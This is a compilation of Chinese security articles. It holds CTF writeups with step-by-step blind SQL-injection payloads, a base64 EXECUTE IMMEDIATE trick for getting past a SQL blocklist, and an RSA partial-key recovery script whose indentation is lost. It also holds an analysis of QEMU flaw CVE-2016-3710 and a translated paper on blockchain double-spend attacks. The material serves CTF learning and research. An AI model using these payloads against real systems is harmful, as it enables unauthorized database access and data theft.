low_d2 = 585021050422437790400309277934736421671174903453118287773262727237276990096608684311252820485289582300237832073420122197911787329400438609843024619449229662477502424617432168933632994437196549098808097025413678738558952555239079729908003264517051128647960060385270607296895534639200191803399174999679917012421
low_bits = 1028
test = pow(3, e, n)
i = 0
prefix = []
for a in range(2):
for b in range(2):
prefix.append(str(a) + str(b))
for bf in prefix:
low_d = int(bin(low_d2)[2:], 2)
for k in xrange(1, e):
d = (k * n + 1) / e
d >>= low_bits
d <<= low_bits
d |= low_d
if (e * d) % k == 1:
if pow(test, d, n) == 3:
print k, d | 社区文章 |
# 3CTF初赛题目详解（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 8：注入真的好难!!!
题目类型：Web
解题思路：
过滤HTTP请求
可以看到进行了sql盲注，采用二分法对数据库进行注入，获取数据。
判断数据库的个数，可以看见当数据返回长度为1003时结束，由此可以对下面操作进行判断，返回最小的长度为1003的输出结果。
经过分析：
1、 获取数据库个数
/sql/Less-8/?id=1' and ((select count(schema_name) from information_schema.schemata) > {0})%23"
共有7个数据库
2、 获取数据库长度
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 0,1) > {0})%23"
第一个数据库长度18
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) > {0})%23"
第二个数据库长度6
3、 获取数据库名
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 0,1),{0},1))>{1} %23"
第一个数据库长度18，依次类推获得数据库ASCII，转化为information_schema
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 1,1),{0},1))>{1} %23"
第二个数据库长度6，依次类推获得数据库ASCII，转化为360ctf
4、 表个数
/sql/Less-8/?id=1' and (select count(distinct+table_name) from information_schema.tables where table_schema='360ctf') >{0} %23"
共有1个表
5、 获取表长度
/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema='360ctf' limit 0,1) >{0} %23"
表长度为4
6、 获取表名
/sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='360ctf' limit 0,1),{0},1))>{1} %23"
表长度为4，依次类推获得数据库ASCII，转化为flag
7、 获取字段个数
/sql/Less-8/?id=1' and (select count(distinct+column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' ) >{0} %23"
获取字段数为2
8、获取字段长度
/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' limit 0,1) >{0} %23"
第一个字段长为3，第二个字段长为6
8、 获取字段名
/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),{0},1))>{1} %23"
第一个字段ASCII，转化为url，第二个字段ASCII，转化为passwd
9、 获取行数
/Less-8/?id=1' and ((select count(*) from 360ctf.flag ) > {0})%23"
行数为1行
10、获取内容长度
/sql/Less-8/?id=1' and ((select length(url) from 360ctf.flag limit 0,1) > {0})%23"
第一个长度为13，第二个长度为5
11、获取内容
/sql/Less-8/?id=1' and ascii(substr((select url from 360ctf.flag limit 0,1),{0},1))>{1} %23"
url为：t.cn/Ai8PhqSb
passwd为：bkis
访问百度云盘得到一个加密的压缩包，追踪流还发现菜刀连接的痕迹，发现存在readme.7z文件。
通过导出HTTP请求可以发现所有的sql请求以及下载的readme.7z压缩包。
保存readme.7z文件到本地，发现flag.zip里面也存在readme.txt，执行明文攻击。
使用7z对readme.txt进行压缩，是的CRC32校验值和flag.zip里面的一样。
使用ARCHPR进行明文攻击
明文没有破解出来，但是可以使用加密秘钥进行解密操作。
保存为flag_decrypted.zip，成功解密得到flag.txt
flag{1d0ea6a36f6aaf7fa5d4b007454227d6}
## 9：Alice的秘密
Alice把一个秘密藏在了她最爱读的“4书”的文件末尾，但不幸的是这个文件被勒索病毒加密了。还好她还有一份“4书”未藏秘密前的备份，不然就连“4书”都没得看了。但这个备份是未藏秘密之前做的，你能帮Alice找回她的秘密吗？（需要提供2个文件：4书.enc、4书.备份）
这是Alice的朋友帮她逆向得到的勒索病毒的加密部分代码：
#define R(a,b) (((a) << (b)) | ((a) >> (32 - (b))))
void crypt(uint32 out[16],uint32 in[16])
{
int i;
uint32 x[16];
for (i = 0;i < 16;++i)
x[i] = in[i];
for (i = 20;i > 0;i -= 2) {
x[ 4] ^= R(x[ 0]+x[12], 7); x[ 8] ^= R(x[ 4]+x[ 0], 9);
x[12] ^= R(x[ 8]+x[ 4],13); x[ 0] ^= R(x[12]+x[ 8],18);
x[ 9] ^= R(x[ 5]+x[ 1], 7); x[13] ^= R(x[ 9]+x[ 5], 9);
x[ 1] ^= R(x[13]+x[ 9],13); x[ 5] ^= R(x[ 1]+x[13],18);
x[14] ^= R(x[10]+x[ 6], 7); x[ 2] ^= R(x[14]+x[10], 9);
x[ 6] ^= R(x[ 2]+x[14],13); x[10] ^= R(x[ 6]+x[ 2],18);
x[ 3] ^= R(x[15]+x[11], 7); x[ 7] ^= R(x[ 3]+x[15], 9);
x[11] ^= R(x[ 7]+x[ 3],13); x[15] ^= R(x[11]+x[ 7],18);
x[ 1] ^= R(x[ 0]+x[ 3], 7); x[ 2] ^= R(x[ 1]+x[ 0], 9);
x[ 3] ^= R(x[ 2]+x[ 1],13); x[ 0] ^= R(x[ 3]+x[ 2],18);
x[ 6] ^= R(x[ 5]+x[ 4], 7); x[ 7] ^= R(x[ 6]+x[ 5], 9);
x[ 4] ^= R(x[ 7]+x[ 6],13); x[ 5] ^= R(x[ 4]+x[ 7],18);
x[11] ^= R(x[10]+x[ 9], 7); x[ 8] ^= R(x[11]+x[10], 9);
x[ 9] ^= R(x[ 8]+x[11],13); x[10] ^= R(x[ 9]+x[ 8],18);
x[12] ^= R(x[15]+x[14], 7); x[13] ^= R(x[12]+x[15], 9);
x[14] ^= R(x[13]+x[12],13); x[15] ^= R(x[14]+x[13],18);
}
for (i = 0;i < 16;++i)
out[i] = x[i] + in[i];
}
题目类型：加密破解
解题思路：
1\. 对比备份“4书”和被加密的“4书”，可以猜到加密不改变文件长度，以及秘密长度。
2\. 分析加密算法，找到算法缺陷。
3\. 发现缺陷：只要已知4MB明文，可以恢复其余密文。
4\. 设计算法解密：
5\. 解密得到全部明文。
6\. 在文件尾部找到秘密。
答案：=&360CTF{^o^yoYo_y0u_g@t_tHe_Salsa_seCrEt~!!}
## 10：google语法真不错！！！
题目类型：取证
解题思路：
volatility -f xp.raw imageinfo //识别系统
volatility -f xp.raw –profile=WinXPSP2x86 pslist //查看进程
存在cmd、ie等进程。
volatility -f xp.raw –profile=WinXPSP2x86 cmdscan //cmd历史命令
执行了6条命令，乱码应该是桌面
volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面 //查看桌面
存在桌面jpg文件
volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q
0x000000000215f340 //保存文件出来
保存360.jpg文件到本地
volatility -f xp.raw –profile=WinXPSP2x86 iehistory //ie历史记录
发现搜索了github以及Syst2m，进行google搜索，发现Syst2m的一个github
<https://github.com/Syst2m/360CTF>,存在一个360CTF的仓库。
通过查看commits和release发现为F5图片隐写。
F5隐写
java Extract ../360.jpg -p 360CTFisSOeasy
生成output.txt
flag{0b9c9fc7d19a072ee23cf10729338041}
如果你想展示你的CTF能力，我们提供给你机会，平台近期开始向社会征集CTF题目，题目类型不限制，奖励丰厚，有想法的大佬可以联系
[email protected]。 | 社区文章 |
当时是和SU一起去打的，完整的wp可以查看[2023 XCTFfinals SU Writeup](https://su-team.cn/passages/2023-03-29-XCTFfinals/)，我这里只是参考wp复现一下两道web题。
# sign_in
当时比赛的时候是有一个登录界面，我这里复现用的队里yulate师傅搭的在线环境，比赛的时候没放hint之前一直是零解，后面放了hint之后才有队逐渐做出来。hint说Username
and password store in React Redux state，然后开始看这个react框架，[KeenLab Tech Talk（二）|
浅谈React框架的XSS及后利用](https://www.freebuf.com/vuls/304954.html)里提到：
> 在引入了Fiber的React（16.8+），会多出 reactFiber$xxxx
> 属性，该属性对应的就是这个DOM在React内部对应的FiberNode，可以直接使用child属性获得子节点。节点层级可以从React Dev
> Tool内查看。通过读取每个FiberNode的 memoizedProps 和 memoizedState
> ，即可直接获取需要的Prop和State。在高版本使用React Hooks的项目中，FiberNode的 memorizedState
> 是一个链表，该链表内的节点次序可以参考该组件源码内 useState 的调用顺序。旧版React，引入的属性是
> reactInternalInstance 。State也是一个Object而非链表，可以方便地看到每个state的名字。
然后我们可以安装React Dev Tool插件，可以直接看到state中的账号密码：
那么问题来了，能不能不用这个插件直接在前端js里搜索呢？当然是可以的：
但有几个问题，一是当时的代码混淆很多，不好找，第二是当时的密码不是明文，而是md5加密之后的，特征不明显，不好分辨是否是密码，但小红书的逆向工程师tsingshui哥哥告诉我其实还是可以通过下断点直接堆栈溯源找逻辑直接快速定位（但我不会）：
然后通过账号和密码我们可以登录进后台，然后会有提示，让我们用http3.0
HTTP3.0又称为HTTP Over
QUIC，其弃用TCP协议，改为使用基于UDP协议的QUIC协议来实现，所以我们现在使用的浏览器直接访问是没法访问的：
他会显示404 Not
Found，HTTP3.0虽然很潮，但是目前能唯一有效连接的工具还是只有curl，想要重新编译支持HTTP3.0的话过程十分繁琐，既要下Quiche重新编译，又要下brew包管理之类的，不过好在已经有现成的docker了，用别人的就行了：
docker run -it --rm ymuski/curl-http3 curl -Lv https://url/flag.html --http3 -k
最后拿到测试flag
## dbtrick
比赛时主页有一个表单可以执行sql命令，但有很多函数被过滤了：
black list
select
set
GRANTS
create
insert
load
PREPARE
rename
update
HANDLER
updatexml
然后还有一个admin.php页面：
#admin.php
<?php
//flag is in /flag
$con = new PDO($dsn,$user,$pass);
$sql = "select * from ctf.admin where username=? and password=?";
$sth = $con->prepare($sql);
$res = $sth->execute([$_POST['username'],$_POST['password']]);
if($sth->rowCount()!==0){
readfile('/flag');
}
代码很简单，首先用PDO预编译确保了我们不能注入，然后只要能从ctf.admin里查出username和password的数据就可以拿到flag，用show可以查表，可以发现题目环境里的数据库里ctf.admin这个表其实根本不存在，因此需要我们自己绕过过滤创建表。
### 利用EXECUTE
这个方法是当时比赛时清华大学的非预期解，可以看到[EXECUTE IMMEDIATE
Statement](https://docs.oracle.com/en/database/oracle/oracle-database/19/lnpls/EXECUTE-IMMEDIATE-statement.html#GUID-C3245A95-B85B-4280-A01F-12307B108DC8)，里面提到在MariaDB 10.0.3
之后，新增了一种动态SQL语句，它可以在单个操作中构建并运行动态SQL语句，它的语法为：
EXECUTE IMMEDIATE stmt_string [INTO var_name [, ...]]
其中stmt_string是要执行的 SQL 查询字符串，可以包含占位符。var_name
是可选的参数列表，用于从查询结果中接收值。我们可以在本地起一个docker测试一下：
docker run -p 127.0.0.1:3306:7706 --name mdb -e MARIADB_ROOT_PASSWORD=Password123! -d mariadb:latest
docker exec -it mdb mariadb --user root -pPassword123!
成功启动。
正常情况下我们可以使用select * from time_zone;查看time_zone下的数据：
这也意味着我们可以使用EXECUTE IMMEDIATE做相同的事，只要输入EXECUTE IMMEDIATE 'select * from
time_zone';即可。
虽然创建表的那些函数都被ban了，但当时并没有ban各种字符串编码，我们可以使用UNHEX，BASE64之类的进行绕过，如：
EXECUTE IMMEDIATE FROM_BASE64('Q1JFQVRFIFRBQkxFIGFkbWluICh1c2VybmFtZSBWQVJDSEFSKDIwKSwgcGFzc3dvcmQgVkFSQ0hBUigyMCkp');
即EXECUTE IMMEDIATE 'CREATE TABLE admin (username VARCHAR(20), password
VARCHAR(20))';
EXECUTE IMMEDIATE FROM_BASE64('SU5TRVJUIElOVE8gYWRtaW4gKHVzZXJuYW1lLCBwYXNzd29yZCkgVkFMVUVTICgnYWRtaW4nLCAnMTIzNDU2Jyk=');
即EXECUTE IMMEDIATE 'INSERT INTO admin (username, password) VALUES ('admin',
'123456')';
最后成功建表并插入数据，在比赛时就可以拿到flag了。
### mariadb主从复制
这种方法才是出题人的预期解，可以参考[史上最详细Docker部署Mysql主从复制，带每一步骤图！！！](https://cloud.tencent.com/developer/article/2145753)
在/etc/mysql/my.cnf [mysqld]块下添加：
[mysqld]
server_id = 2
secure_file_priv=
log-bin = mysql-bin
主服务器执行：
CREATE USER 'admin'@'%' IDENTIFIED BY '123456';
GRANT REPLICATION SLAVE ON *.* TO 'admin'@'%';
从服务器执行：
CHANGE MASTER TO
MASTER_HOST='172.17.0.2',
MASTER_USER='admin',
MASTER_PASSWORD='123456',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=0; START SLAVE;
主从复制建立之后我们就可以把主服务器的数据复制到从服务器里，这样就能成功建表了。 | 社区文章 |
# 360 Marvel Team虚拟化漏洞第五弹 - CVE-2016-3710 Dark Portal漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：360 Marvel Team
译文仅供参考，具体内容表达以及含义原文为准。
作者:360 Marvel Team 安全研究员 唐青昊 (新浪微博:SunSky0101;微信:702108451)
前言:
自2015年 5月份 **毒液漏洞** 肆虐全球云平台之后,360 Marvel Team累计在kvm,xen,vmware平台上公开了
**高达22枚的高危安全0day漏洞** ,这些漏洞均会导致通用 **云系统被黑客攻破**
。目前云上已经存放着大量用户的个人隐私信息,企业数据信息,以及政府敏感信息,一旦云系统被攻破,就意味着这些重要的信息可能会被泄露。黑客利用虚拟化漏洞
**不但可以偷取到重要信息,甚至可以从一台虚拟机发起攻击控制宿主机,最终控制整个云环境的所有设备。**
目前云虚拟化系统已经与PC安全,移动设备安全,智能设备安全并列成为最火热的安全研究方向。在安全领域最负盛名的PWN2OWN比赛中,今年新加入了Vmware
Workstation的逃逸项目。在CanSecWest 2016(温哥华)和Syscan 2016(新加坡)会议中,360 Marvel
Team团队也受邀分享了有关云虚拟化系统的漏洞挖掘和利用的前沿课题。相信世界范围内对云虚拟化系统的安全研究将会在2016走上一个新的高峰。
《360 Marvel Team虚拟化漏洞》系列文章,针对 **团队独立发现的** 云虚拟化系统软件中的 **高危0day漏洞**
进行深度分析,希望以此揭开虚拟化攻击技术的神秘面纱。360 Marvel
Team团队结合在漏洞挖掘和漏洞利用过程中的相关经验,针对云计算平台提供了完善的云虚拟化系统防护解决方案,持续保证云生态的安全。
本文为该系列的第五篇文章,将详细分析已经潜伏了编号CVE-2016-3710(英文名:Dark
Portal,中文名:传送门)的越界读写内存漏洞的相关知识,该漏洞存在于xen和kvm系统的qemu模块中的vga显卡组件,黑客在一台虚拟机中利用该漏洞,就可以在宿主机中执行恶意命令。360
Marvel Team于 4月22日提交该漏洞,官方于5月5号公开了漏洞信息及修复补丁。
关于之前的四篇文章,链接如下:
[http://www.freebuf.com/vuls/77834.html](http://www.freebuf.com/vuls/77834.html)
[http://blogs.360.cn/blog/360marvelteam虚拟化漏洞第二弹-cve-2015-5279-漏洞分析/](http://blogs.360.cn/blog/360marvelteam%E8%99%9A%E6%8B%9F%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%AC%E4%BA%8C%E5%BC%B9-cve-2015-5279-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
http://bobao.360.cn/learning/detail/2423.html
[http://www.freebuf.com/vuls/91603.html](http://www.freebuf.com/vuls/91603.html)
一. 关于qemu和vga
QEMU是一款存在于xen和kvm系统中的用以实现设备模拟的软件,它实现了在虚拟机中使用键盘,网络通信,磁盘存储等诸多需要硬件设备参与的功能,并且可模拟的硬件设备类型非常丰富,如它提供了10种以上类型设备的网卡设备模拟组件,包括pcnet,rtl8139,ne2000,eepro100,e1000等。
vga组件模拟了vga显示卡功能。vga模块是qemu中默认使用的显卡模块,在xen中则需要在video选项处进行选择:
二. DarK Portal漏洞原理分析
DarK Portal漏洞是由于qemu/hw/display/vga.c文件的数组索引处理不当造成的。
首先看vga设备对应的读操作函数vga_mem_readb(),该函数会根据索引返回设备内存中的1个字节。但是由于对索引的边界值缺少判断,因此会导致越界读取内存。
那么能越界读到多少内存呢?根据下面的计算,在默认的配置中,正常的设备内存为16mb。
由于是通过 s->latch = ((uint32_t *)s->vram_ptr)[addr]; 这句代码进行读内存,因此可以越界读48MB的内存。
同样在vga设备的写操作函数vga_mem_writeb()中,也存在同样原因导致的越界写入内存。并且可以逐一字节写的内存也为48MB。
三. DarK Portal漏洞危害&漏洞利用方案
黑客可以利用DarK Portal漏洞在虚拟机中发动攻击,控制宿主机中的进程执行恶意代码。
DarK Portal漏洞和去年的“毒液漏洞”相似,毒液漏洞”可以实现堆缓冲区溢出,但是在实际利用过程中会遇到2个关键问题:
1.连续的堆内存覆盖,容易造成利用环境不稳定;
2.单一漏洞不能绕过aslr。
而DarK Portal漏洞本质上实现了内存越界读写,而且可以单字节读和写,从而有能力完成 **精准控制内存** 和 **信息泄露** 这两个关键步骤。
局限性方面,该漏洞受制于vga
设备内存之后48MB空间的内容,在我们的测试环境中,可以看到48M空间(图中黑色部分)包含了lib内存信息。而lib库内存信息的泄漏可以帮助黑客绕过aslr的限制。
四. DarK Portal时间表
4.23 发现漏洞,完成poc代码
4.25 将完整报告向官方安全团队披露
4.29 讨论披露时间
5.9 官方披露信息
五.官方信息汇总
漏洞评级:高危
信息链接地址:
[http://www.openwall.com/lists/oss-security/2016/05/09/3](http://www.openwall.com/lists/oss-security/2016/05/09/3)
[https://access.redhat.com/security/cve/cve-2016-3710](https://access.redhat.com/security/cve/cve-2016-3710)
漏洞危害描述:
虚拟机授权用户利用该漏洞可以在kvm平台和xen平台的宿主机上执行任意代码.
漏洞修复方案:
1.云厂商可以使用打补丁的方式修补该漏洞。
2.使用”360云加固”等虚拟化漏洞防护产品自动免疫
补丁链接为:
[http://www.openwall.com/lists/oss-security/2016/05/09/3](http://www.openwall.com/lists/oss-security/2016/05/09/3)
**小结:** 针对360 Marvel Team独立发现的虚拟化安全漏洞CVE-2016-3710(英文名:Dark
Portal,中文名:传送门),本文完整分析了漏洞相关的原理,利用方案,危害说明,以及修复方案。希望此文可以引起更多使用公有云和私有云企业的关注,重视云虚拟化系统安全问题。
**关于360 Marvel Team:**
360 Marvel
Team是国内首支云虚拟化系统安全研究团队,研究内容为云安全领域的主流虚拟化系统(xen,kvm,docker,vmware系列)攻防技术,致力于保持领先的脆弱性安全风险发现和防护能力,针对主流虚拟化系统提供漏洞检测和加固解决方案。 | 社区文章 |
# 区块链中具有强大自适应策略的双花攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Gholamreza Ramezan, Cyril Leung, and Z. Jane
Wang，文章来源：researchgate.net
原文地址：<https://www.researchgate.net/publication/333597383_A_Strong_Adaptive_Strategic_Double-Spending_Attack_on_Blockchains>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Absert
本文提出了一种针对区块链的自适应策略双花攻击。当提交的交易在区块链中可用时，攻击者会观察诚实分支的长度，然后相应地更新攻击策略。与常规双花攻击相比，提供了更强大的策略。文中推导了攻击成功概率和攻击矿工预期回报的闭式表达式。
分析表明，在建议的攻击策略下，当攻击者获得总网络处理能力的40％时成功进行攻击的可能性比传统攻击策略预期的要高60％。为了应对这种攻击可能性的增加，要求网络节点使用更多数量的确认块来验证区块链中的交易。计算了攻击者在区块链上挖掘恶意分支的预期回报，并探讨在经过几个区块确认后，预期回报会降至零。
## 0x02 Self Mining Attack
在最初的比特币原理中考虑了简化的攻击模型。在此模型中，假定区块链中主干链的块数遵循（r * q /
p）的泊松分布，其中r是诚实矿工形成的块数，而q和p是攻击矿工和诚实矿工分别产生下一个区块的可能性。
攻击者矿工形成s个块所需的平均时间（如果s> r，则攻击成功）为rT /
p，其中T是创建一个块的平均时间。这不是一个精确的模型，因为仅考虑攻击者创建的块的平均数量，而不是实际数量。
当受害矿工与攻击者发现的区块竞争时，攻击者会让他丢弃发现的所有区块。换句话说，攻击者仅将其自己对区块链的视图提供给受害矿工。这样滥用了受害者的计算能力来挖掘攻击者的区块链。在0-确认的交易中，攻击者向卖家支付交易，卖家在看到区块链中的交易之前向攻击者移交商品。然后，攻击者封锁了卖家节点的通信并将另一笔双花交易发送到网络的其余部分。但由于攻击者控制着所有卖家的连接，因此卖家无法将原始交易告知网络的其余部分。
## 0x03 System Model
上图说明了典型网络中网络节点与矿工之间的流量。系统模型包括以下内容：
网络节点：有n个网络节点可以相互通信以提供或请求服务。这些节点通过网络将其交易提交给矿工。
矿工：矿工接收交易并对其进行处理，以形成包含已提交交易的新区块。形成区块后，矿工竞争将新形成的区块添加到区块链中。鼓励矿工提供采矿服务的奖励是区块链代币形式的奖励。
交易池：假设提交的交易进入网络中的交易池。然后可以联系矿工进行挖掘。
区块链代币：网络节点和矿工就区块链代币的价值达成共识。节点将代币支付给其他节点以获取服务。代币也用于挖矿过程。每个矿工在为区块链创建新区块时都会收到一些代币作为奖励。奖励金额由区块链规则确定。
假设任何节点都可以加入矿工或网络节点。即网络是未经许可的。而且，每个节点都能够安全地生成和存储公钥/私钥。如果它不能生成则至少需要安全地存储一个公钥/私钥。
在双花攻击中，攻击者向另一个网络节点发出事务，该网络节点是一个诚实的节点。攻击者必须首先说服诚实的网络节点该交易已通过区块链机制确认。因此，攻击者一直等到诚实的网络节点在区块链的某个块中接收到交易。然后，攻击者创建一个块，其中包含另一个与诚实节点的第一个交易冲突的交易。
例如，在第一笔交易中，攻击者声明她/他已经从其帐户向真实节点的帐户发送了R代币，但是在第二笔交易中，攻击者声明了将相同的R代币转移至攻击者朋友的帐户。因此，攻击者试图双花相同的代币。如果其他网络节点接受了区块链中的第二笔交易，则实际上攻击者已说服那些网络节点第二笔交易有效，而第一笔交易则无效。因此，第一笔交易仅在短时间内有效。在此期间，诚实节点会不可逆地向攻击者提供服务。
## 0x04 Attack Model
在本研究中，通过定义新的攻击场景来考虑更全面的攻击模型。与传统攻击模型一样，模型中的攻击者在向矿工池提交诚实节点的交易后立即开始建立恶意分支。但是与传统的攻击模型不同，当提交的交易出现在区块链中的某个块上时，模型中的攻击者会验证其恶意分支是否比有效分支更长。
如果恶意分支更长，则攻击者将继续生成更多的块，直到它能够通过产生足够长的恶意链成功地对系统进行攻击。如果主干分支更长，则攻击者将其恶意分支替换为诚实链的副本，并将新块添加到重复的主干分支中，直到可以成功攻击系统为止。这种主动的方法使模型中的攻击者在控制区块链方面获得更高的成功概率。
攻击者是矿工网络中的矿工，或者是与少数矿工协作以通过攻击区块链来控制网络的网络节点。攻击区块链意味着创建新的区块链，以便在区块链中建立新分支，并使先前添加到区块链及其交易中的区块失效。
攻击者可以访问网络的控制通道，并且可以获取区块链的副本以获取有关区块链内交易的知识。同样，没有任何代币的攻击者可能会最初向其他节点提供一些服务以获取足够的代币。然后使用代币，攻击者能够提交虚假交易。
假设节点没有受到损害，也就是说攻击者无法访问合法网络节点或矿工的私钥。合法的网络节点可以处理并正确遵循区块链协议。例如，如果矿工节点接收到无效交易，如具有零代币的智能合约交易，则它将作为无效请求被丢弃。
攻击者无法生成错误的交易，例如在交易中添加无效的数字签名。这是由于区块链的性质。在将错误的交易插入到区块中之后，该区块无法从其他矿工那里获得足够的确认，因此无法被视为区块链中的新区块。
## 0x05 Security Goals
根据定义，如果每个在最大时间t运行的攻击者都以最高概率ε成功攻击安全方案，则该方案被称为(t,ε)-secure。这意味着为了证明方案的安全级别需要显示攻击方案所需的工作量及其相关概率。
如上图所示，不同的矿工和网络节点可能会在区块链中跟随不同的等长分支，从而在系统中创建了一个分叉。一个分叉具有两个等长的分支，导致平局，因为两个分支都可以被认为是有效的。
但是如图（b）所示，一旦在分支中挖掘了一个新块，所有网络节点都将接受更长的分支作为主干分支。因此，分叉的另一个链中的块将被忽略。如果该区块在距离链中最后一个区块的z区块之外，则在较长链中给定区块内发生的交易被称为z确认。例如，在（b）中，有一个针对块4b中所有交易的确认，而有两个针对在块3中所有交易的确认。
假设代币仅由区块链中定义的机制创建，例如工作量证明（PoW）机制。因此，代币的来源是基于矿工在采矿过程中花费的精力。矿工是诚实的还是攻击者。如果他们是攻击者，他们将不费吹灰之力就无法在区块链中创建新代币。
**1）常规的双花攻击：**
现在回顾一下将在系统模型上映射的区块链中发生的双花攻击的发生率。攻击者生成交易以请求诚实的网络节点提供服务，并同意支付一些代币作为回报。例如，如果节点B向节点A提供了特定的网络服务，则节点A会将R代币转让给节点B。称此为良性交易。该交易然后被广播到网络（下图中的步骤A）。
广播良性交易后，攻击者创建与良性交易冲突的第二笔交易。例如，节点A将R代币转移到节点C。然后，在不向诚实矿工广播第二个交易的情况下，攻击者矿工秘密开始生成新块，然后添加这些块到与诚实分支并行的不同块链。将此称为恶意分支，该链中的一个块包含第二个交易。
经过一定时间后，良性交易将出现在主干链的第k块中（步骤B）；也就是说，主干分支将成功创建k个连续的区块，直到提交的交易出现在其中一个区块中。假设攻击者在那之前一直在秘密挖掘m1块。攻击者将继续在其恶意链中秘密添加新块，直到网络节点在主干链的块k之后看到z个块为止。假定攻击者在步骤B和C之间创建了m2个以上的块。因此，恶意链的长度为m
= m1 + m2。
在步骤C，接收到z个确认块之后，作为良性交易中提到的R代币的接收者的网络节点假定支付已经完成，并向攻击者提供服务（步骤C）。一旦攻击者从诚实的网络节点接收到服务，它就会向网络展示恶意链。这在区块链中产生了一个分支；主干分支和恶意分支。现在，如果恶意链长于主干链（m1
+ m2> z + k），则网络节点将跟随恶意分支并忽略主干链。因此，良性交易被第二个交易代替，即双花攻击成功。
**2）自适应策略双花攻击：**
与传统的攻击策略一样，攻击者在步骤A之后开始创建恶意链。在步骤B，交易出现在主干链中的区块中。这时，如果攻击者发现恶意链m1的长度比主干链的k长，将继续采用传统的攻击策略，即在恶意链中的m1块上添加新的块（下图中的状态1
）。即使攻击者在步骤A和步骤B之间计算了较长的链，也无法将其透露给网络，因为这会阻止正常事务中的接收方节点在步骤C提供服务。
但是，如果在步骤B中主干链较长，即m1小于k，则攻击者意识到它已经滞后，并且如果继续使用恶意链，则必须承担更高的计算成本（下图状态2
）。因此，与常规攻击策略不同，攻击者不会继续使用恶意链。相反，它会主动从恶意链中复制k-1块，并向该副本添加新块，以提高其受到攻击的可能性。主干链包含块k中的良性交易。因此，攻击者不会复制块k，而只考虑主干链的前k-1个块。两种情况都在下图所示。
## 0x05 Security Analysis
假设攻击者和诚实矿工而是居然下一个区块的概率分别为q和p =(1-q)。一旦攻击者创建了比主干链更长的恶意链，攻击者就可以控制该区块链。那么成功攻击区块链PV(k,z)的概率为：
其中P(m1 <k,m2> z)是m1<k和m2> z的联合概率，P(m1≥k,m1 + m2> z + k)是m1≥k和m1+m2> z +
k的联合概率。在步骤A之后的任何时候，只要恶意链比主干链长g块，攻击者都会创建一条比主干链更长的恶意链的概率由p(g)表示：
也就是说，如果q≥p，则攻击者最终将以概率1控制该链。否则，攻击者将以ag的概率控制该链。下面命题1中以q和p给出ag的表达式。
**命题1：** 将为区块链创建的新块建模为马尔可夫过程（连续时间，离散状态空间），如上图所示。攻击者和诚实矿工生成下一个块的概率分别是q和p =(1-q)（q <p）。假定攻击者当前制造的恶意链比诚实矿工挖掘的主干链短了g块。然后，攻击者通过创建比主干分支长一个区块的欸有分支来控制区块链的概率为：
其中a(g-1)是攻击者可以成功开采g-1个区块的条件概率，假设最后一个块也已被攻击者开采，a(g+1)是攻击者可以成功开采g+1个区块的概率，因为最后一个区块是由诚实的矿工开采的。
（3）采用考虑初始条件a-1 = 1和a0 = q / p的递归关系的形式证明等式。
现在检查攻击者的恶意链比主干链落后g块的概率。如果攻击者链和诚实链分别具有f和h个块，则知道g =
h-f个块。下面的假设给出了当攻击者和诚实矿工分别生成概率为q和p的下一个块时，在恶意和诚实分支中存在f和h块的概率p(f，h)。
假设时间单位足够小，攻击者和诚实矿工无法同时生成两个块。因此，可以假定攻击者的恶意链落后主干链g=h-f块的概率相当于攻击者成功生成f块的概率，并且无法创建h块（因为h块是由诚实的矿工生成的），f<h。
然后将攻击者生成的块数f建模为负二项式随机变量，即f〜NB(h,q)，因为f是h失败之前的成功次数，成功概率为q。那么，攻击者具有f成功和h失败的概率p(f,h)为：
当攻击者观察到恶意链在步骤A和B之间包含k个块时，得出系统受到攻击的概率的表达式。
**命题2：** 当攻击者观察到主干链在步骤A和步骤B之间有k个块时，z个确认块验证下成功攻击的概率为：
其中p(m1,k)是恶意链和主干链中步骤A和B之间分别为m1和k个块的联合概率，p(m2,z)是步骤之间恶意链和主干链的块分别为m2和z的联合概率，ag是当恶意链比主干链落后g块时攻击成功的概率。
**证明：** 根据（2）和（4），当主干链具有h个块且q<p时，攻击者成功攻击区块链的概率为：
根据（6），状态1中攻击者成功攻击区块链的概率为：
同样，状态2的攻击者成功攻击区块链的概率为：
最后，（8）和（7）代入（1）给出的成功攻击的概率为：
下图给出了当攻击者创建下一个区块的成功概率分别为q =
0.2、0.3和0.4时，（9）中针对不同z值的PV(k,z)。作为标准攻击方案，考虑在区块链文献中通常研究的攻击模型，攻击者在步骤B中没有观察（并利用）诚实链的长度。成功攻击的可能性较高，主要是因为如果攻击者未能在步骤B之前创建更长的链，则攻击者可以在步骤B使用有效链（前k个块）。
当q减小时，成功的攻击概率降低，因为q较小意味着攻击者生成下一个块的机会较小。还可以观察到，当增加块确认数z时，成功攻击的可能性会迅速降低。这表明，即使攻击者选择了适应性策略，当使用足够多的确认块来验证每笔交易时，区块链系统也能抵抗双花攻击。
**关于选择的q值的讨论：** 在分析中选择了不超过0.4的q值。现在解释为什么选择的q值足够高。
在区块链文献中，假设攻击者制造新区块的概率q始终小于诚实矿工的相应概率p，即假设（q
<p）。换句话说，在区块链中创建新块时，总是假定攻击者的网络处理能力不到总网络处理能力的一半。现在分析攻击者为了达到q =
0.4、0.3或0.2而必须进行的投入。
PoW机制旨在控制矿工网络生成新区块所需的时间持续时间T。现有系统中T的示例值对于比特币区块链为T = 600（s），对于以太坊区块链为T =
